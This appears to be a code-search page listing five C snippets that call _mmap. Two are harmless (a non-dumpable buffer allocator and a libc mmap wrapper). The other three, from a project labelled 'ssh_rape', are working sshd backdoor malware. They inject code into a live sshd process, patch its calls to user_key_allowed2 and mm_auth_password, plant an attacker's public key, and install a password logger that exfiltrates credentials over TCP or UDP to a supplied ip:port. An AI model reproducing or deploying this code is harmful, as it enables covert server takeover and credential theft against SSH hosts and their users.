示例#1
0
gpointer
nondumpable_buffer_alloc(gsize len)
{
  gsize minimum_size = len + ALLOCATION_HEADER_SIZE;
  gsize pagesize = sysconf(_SC_PAGE_SIZE);
  gsize alloc_size = round_to_nearest(minimum_size, pagesize);

  Allocation *buffer = _mmap(alloc_size);
  if (buffer == MAP_FAILED)
    return NULL;

  buffer->alloc_size = alloc_size;
  buffer->data_len = len;
  return buffer->user_data;
}
示例#2
0
void backdoor_pubkey_install(inject_ctx *ctx, char *pubkey) {
	signature signatures[]={
		{ 0x1, "key_allowed", "trying public key file %s", 0 },
		{ 0x2, "restore_uid", "restore_uid: %u/%u"       , 0 },
		{ 0x3, "key_new"    , "key_new: RSA_new failed"  , 0 }, 
		{ 0x4, "key_read"   , "key_read: type mismatch: ", 0 }, 
		{ 0x5, "key_free"   , "key_free: "               , 0 }, 
	};

	u8 *evil_bin;
	int i;
	u32 callcache_total, num_key_allowed2_calls=0;
	char line[255];
	callcache_entry *callcache, *entry;
	u64 user_key_allowed2_calls[MAX_KEY_ALLOWED_CALLS];
	u64 diff=0, hole_addr=0, *import_table;

	evil_bin = malloc(hook_pubkey_bin_len);
	import_table = (u64*)(evil_bin + 8);

	memcpy(evil_bin, hook_pubkey_bin, hook_pubkey_bin_len);

	import_table[0] = ctx->config_addr;

	for(i = 0; i < sizeof(signatures) / sizeof(signature); i++) {
		if (ctx->uses_new_key_system == 0 || i < 2) {
			signatures[i].addr = sub_by_debugstr(ctx, signatures[i].str);
		} else {
			u64 f_dsa_new, f_bn_new, p_dsa_new, p_bn_new, callpair, callpair_b, p_rsa_free, p_dsa_free;

			switch(i) {
				case 2: // key_new
					f_dsa_new = resolve_reloc(
						ctx->rela, ctx->rela_sz, ctx->dynsym, ctx->dynsym_sz, (char*)ctx->dynstr, "DSA_new"
					);

					f_bn_new = resolve_reloc(
						ctx->rela, ctx->rela_sz, ctx->dynsym, ctx->dynsym_sz, (char*)ctx->dynstr, "BN_new"
					);

					info("DSA_new@got = 0x%lx", f_dsa_new);
					info("BN_new@got = 0x%lx", f_bn_new);

					p_dsa_new = find_plt_entry(ctx, ctx->elf_base + f_dsa_new);
					p_bn_new = find_plt_entry(ctx, ctx->elf_base + f_bn_new);

					info("DSA_new@plt = 0x%lx", p_dsa_new);
					info("BN_new@plt = 0x%lx", p_bn_new);

					callpair = find_callpair(p_dsa_new, p_bn_new);

					info("yo we got a callpair for (DSA_new, BN_new) -> 0x%lx", callpair);

					signatures[i].addr = find_entrypoint(callpair);
				break;

				case 3: // key_read
					signatures[i].addr = prevcall_by_debugstr(ctx, "user_key_allowed: advance: ");
				break;

				case 4: // key_free
					p_rsa_free = find_plt_entry(ctx, ctx->elf_base + resolve_reloc(
						ctx->rela, ctx->rela_sz, ctx->dynsym, ctx->dynsym_sz, (char*)ctx->dynstr, "RSA_free"
					));

					p_dsa_free = find_plt_entry(ctx, ctx->elf_base + resolve_reloc(
						ctx->rela, ctx->rela_sz, ctx->dynsym, ctx->dynsym_sz, (char*)ctx->dynstr, "DSA_free"
					));

					info("RSA_free@plt = 0x%lx", p_rsa_free);
					info("DSA_free@plt = 0x%lx", p_dsa_free);

					callpair_b = find_callpair(p_rsa_free, p_dsa_free);

					if(callpair_b == 0) {
						callpair_b = find_callpair(p_dsa_free, p_rsa_free);
					}

					if(callpair_b != 0) {
						info("found callpair @ 0x%lx .. finding entrypoint..", callpair_b);

						signatures[i].addr = find_entrypoint_inner(callpair_b, 3);
					} else {
						error("could not find valid callpair to derive key_free()");
					}
				break;

				default:
					error("WTF just happened!");
				break;
			}
		}

		if (signatures[i].addr == 0) {
			error("%s not found :(\n", signatures[i].name);
		}

		sprintf(line, 
			"%s\t\t= \x1b[37m0x%lx",
			signatures[i].name, signatures[i].addr - ctx->elf_base
		);

		import_table[ signatures[i].import_id ] = signatures[i].addr;

		sprintf(
			line+strlen(line), 
			" .. patched at offset 0x%lx in import table!", 
			(signatures[i].import_id*8) & 0xffff
		);

		info(line);
	}

	u64 f_BN_cmp = resolve_reloc(ctx->rela, ctx->rela_sz, ctx->dynsym, ctx->dynsym_sz, (char*)ctx->dynstr, "BN_cmp");
	info("BN_cmp@got = 0x%lx", f_BN_cmp);
	u64 l_BN_cmp;
	_peek(ctx->pid, ctx->elf_base + f_BN_cmp, &l_BN_cmp, 8);
	info("BN_cmp@lib = 0x%lx", l_BN_cmp);

	import_table[6] = l_BN_cmp;

	callcache = get_callcache();
	callcache_total = get_callcachetotal();

	for(i=0; i<callcache_total; i++) {
		entry = &callcache[i];
		if (entry->dest == signatures[0].addr && entry->type == CALLCACHE_TYPE_CALL) {
			info("found a 'call user_key_allowed' @ 0x%lx", entry->addr);
			user_key_allowed2_calls[num_key_allowed2_calls] = entry->addr;
			num_key_allowed2_calls++;
		}
	}

	if (num_key_allowed2_calls == 0)
		error("no call to user_key_allowed2 found :(");

	hole_addr = find_hole(ctx, user_key_allowed2_calls[0], 0x1000);
	
	if (hole_addr == 0) {
		error("unable to find neighborly hole.");
	}

	info("found usable hole @ 0x%lx", hole_addr);

	info2("entering critical phase");

	_mmap(
		ctx, (void*)hole_addr, 0x1000,
		PROT_READ| PROT_WRITE | PROT_EXEC,
		MAP_ANONYMOUS | MAP_SHARED | MAP_FIXED,
		0, 0
	);

	for(i=0; i<num_key_allowed2_calls; i++) {
		diff = 0x100000000-(user_key_allowed2_calls[i]-hole_addr)-5;

		info(
			"building a bridge [0x%lx->0x%lx] .. opcode = [E8 %02X %02X %02X %02X]",
			user_key_allowed2_calls[i], hole_addr,
			diff & 0xff, (diff>>8)&0xff, (diff>>16)&0xff, (diff>>24)&0xff
		);

		_poke(ctx->pid, user_key_allowed2_calls[i]+1, &diff, 4);
	}

	_poke(ctx->pid, hole_addr, evil_bin, hook_pubkey_bin_len);

	for(i=0; i<hook_pubkey_bin_len; i++) {
		if (memcmp(evil_bin+i, "\xaa\xbb\xcc\xdd", 4) == 0) {
			info("inserting pubkey at offset %x in payload", i);
			_poke(ctx->pid, hole_addr+i, pubkey, strlen(pubkey));
		}
	}

	info("poked evil_bin to 0x%lx.", hole_addr);
}
示例#3
0
文件: main.c 项目: blasty/ssh_rape
int main(int argc, char *argv[]) {
	config_block *config;
	char *pubkey_value = NULL;
	char *passlog_path = NULL;
	char *pubkey_file = NULL;
	int  net_exfil_type = 0;
	int  menu_activate = 0;
	int  c;

	banner();

	if (argc < 2) {
		usage(argv[0]);
		return -1;
	}

 	config = malloc(sizeof(config_block));
	memset(config, 0, sizeof(config_block));

	while((c = getopt(argc-1, argv, "p:P:t:u:mc")) != -1) {
		switch(c) {
			case 'p':
				pubkey_value = optarg;
			break;

			case 'P':
				pubkey_file = optarg;
			break;

			case 't':
				if (!convert_hostport_pair(optarg, &config->ip_addr, (uint16_t*)&config->port))
					error("eh, '%s' is not a valid ip:port pair", optarg);

				config->net_type |= NET_EXFIL_TCP;
			break;

			case 'u':
				if (!convert_hostport_pair(optarg, &config->ip_addr, (uint16_t*)&config->port))
					error("eh, '%s' is not a valid ip:port pair", optarg);

				config->net_type |= NET_EXFIL_UDP;
			break;

			case 'c':
				config->only_log_valid = 1;
			break;

			case 'l':
				passlog_path = optarg;
			break;

			case 'm':
				menu_activate = 1;
			break;
		}
	}

	if (pubkey_file == NULL && pubkey_value == NULL && passlog_path == NULL && menu_activate == 0) {
		usage(argv[0]);
		return -1;
	}

	if (pubkey_value != NULL && pubkey_file != NULL) {
		usage(argv[0]);
		return -1;
	}

	if ((net_exfil_type & NET_EXFIL_TCP) && (net_exfil_type & NET_EXFIL_UDP)) {
		error("can only use one net exfiltration method.");
		return -1;
	}

	// allocate inject context
	inject_ctx *ctx = malloc(sizeof(inject_ctx));

	// init inject context
	inject_ctx_init(ctx, atoi(argv[argc-1]));

	// find rexec_flag
	u64 rexec_flag = inject_resolve_rexec(ctx);
	info("rexec_flag\t\t\t= 0x%lx", rexec_flag); 

	// install config memory block
	ctx->config_addr = find_hole(ctx, rexec_flag, 0x1000);

	info("allocating config memory @ 0x%lx", ctx->config_addr);

	_mmap(
		ctx, (void*)ctx->config_addr, 0x1000,
		PROT_READ| PROT_WRITE | PROT_EXEC,
		MAP_ANONYMOUS | MAP_SHARED | MAP_FIXED,
		0, 0
	);

	inject_ctx_map_reload(ctx);

	// install backdoor(s)
	if(config->net_type != 0) {
		backdoor_password_install(ctx);
		inject_ctx_map_reload(ctx);
	}

	if (pubkey_value != NULL || pubkey_file != NULL) {
		if (pubkey_file != NULL) {
			FILE *f = fopen(pubkey_file, "rb");

			if (f == NULL) {
				error("could not open pubkey file ('%s')", pubkey_file);
			}

			char keybuf[2048];
			memset(keybuf, 0, 2048);
			fgets(keybuf, 2047, f);
			fclose(f);

			if(strncmp(keybuf, "ssh-rsa", 7) != 0) {
				error("invalid pubkey specified, we only support ssh-rsa for now");
			}

			strcpy(config->pubkey, keybuf);

			backdoor_pubkey_install(ctx);
		} else {
			if(strncmp(pubkey_value, "ssh-rsa", 7) != 0) {
				error("invalid pubkey specified, we only support ssh-rsa for now");
			}

			strcpy(config->pubkey, pubkey_value);

			backdoor_pubkey_install(ctx);
		}

		inject_ctx_map_reload(ctx);
	}

	if (menu_activate) {
		backdoor_menu_install(ctx);
		inject_ctx_map_reload(ctx);
	}

	mod_banner("finishing install");

	// upload config data
	info("uploading config..");
	_poke(ctx->pid, ctx->config_addr, config, sizeof(config_block));

	// disable rexec
	info("switching off rexec..");
	u32 null_word = 0;
	_poke(ctx->pid, rexec_flag, &null_word, 4);

	// clean upr
	inject_ctx_deinit(ctx);
	callcache_free();

	info("all done!");

	return 0;
}
示例#4
0
文件: mmap.c 项目: asb/frankenlibc
void *
mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset)
{

	return _mmap(addr, length, prot, flags, fd, offset);
}
示例#5
0
void backdoor_password_install(inject_ctx *ctx) {
	u32 use_privsep_val=0;
	u64 use_privsep;
	u64 *mm_auth_password_calls = NULL;
	int i, n_mm_auth_password_calls;
	u64 diff=0, hole_addr=0;
	u8 *evil_bin;

	mod_banner("installing passlogger backdoor");

	evil_bin = malloc(hook_passlog_bin_len);
	memcpy(evil_bin, hook_passlog_bin, hook_passlog_bin_len);

	u64 *import_table = (u64*)(evil_bin + 8);

	use_privsep = resolve_symbol_tab(ctx, "use_privsep");

	if (use_privsep == 0)
		error("could not locate use_privsep :(");

	info("use_privsep\t\t= 0x%llx", use_privsep);

	_peek(ctx->pid, use_privsep, &use_privsep_val, 4);

	info("use_privsep\t\t= 0x%x", use_privsep_val);

	if (use_privsep_val == 0) {
		error("pass logging for PRIVSEP_OFF currently not supported.");
	}

	u64 mm_auth_password = sub_by_debugstr(ctx, "%s: waiting for MONITOR_ANS_AUTHPASSWORD");
	info("mm_auth_password\t\t= 0x%llx", mm_auth_password);

	n_mm_auth_password_calls = find_calls(&mm_auth_password_calls, mm_auth_password);

	if (n_mm_auth_password_calls == 0)
		error("No calls to mm_auth_password found.");

	hole_addr = find_hole(ctx, mm_auth_password_calls[0], 0x1000);
	
	if (hole_addr == 0) {
		error("unable to find neighborly hole.");
	}

	info("found usable hole @ 0x%lx", hole_addr);

	_mmap(
		ctx, (void*)hole_addr, 0x1000,
		PROT_READ| PROT_WRITE | PROT_EXEC,
		MAP_ANONYMOUS | MAP_SHARED | MAP_FIXED,
		0, 0
	);

	_peek(ctx->pid, use_privsep, &use_privsep_val, 4);
	
	// Patch mm_auth_password
	for (i = 0; i < n_mm_auth_password_calls; i++) {
		diff = 0x100000000-(mm_auth_password_calls[i]-hole_addr)-5;

		info(
			"building a bridge [0x%lx->0x%lx] .. opcode = [E8 %02X %02X %02X %02X]",
			mm_auth_password_calls[i], hole_addr,
			diff & 0xff, (diff>>8)&0xff, (diff>>16)&0xff, (diff>>24)&0xff
		);

		_poke(ctx->pid, mm_auth_password_calls[i]+1, &diff, 4);
	}

	import_table[0] = ctx->config_addr;
	import_table[1] = mm_auth_password;

	_poke(ctx->pid, hole_addr, evil_bin, hook_passlog_bin_len);
	
	free(mm_auth_password_calls);
}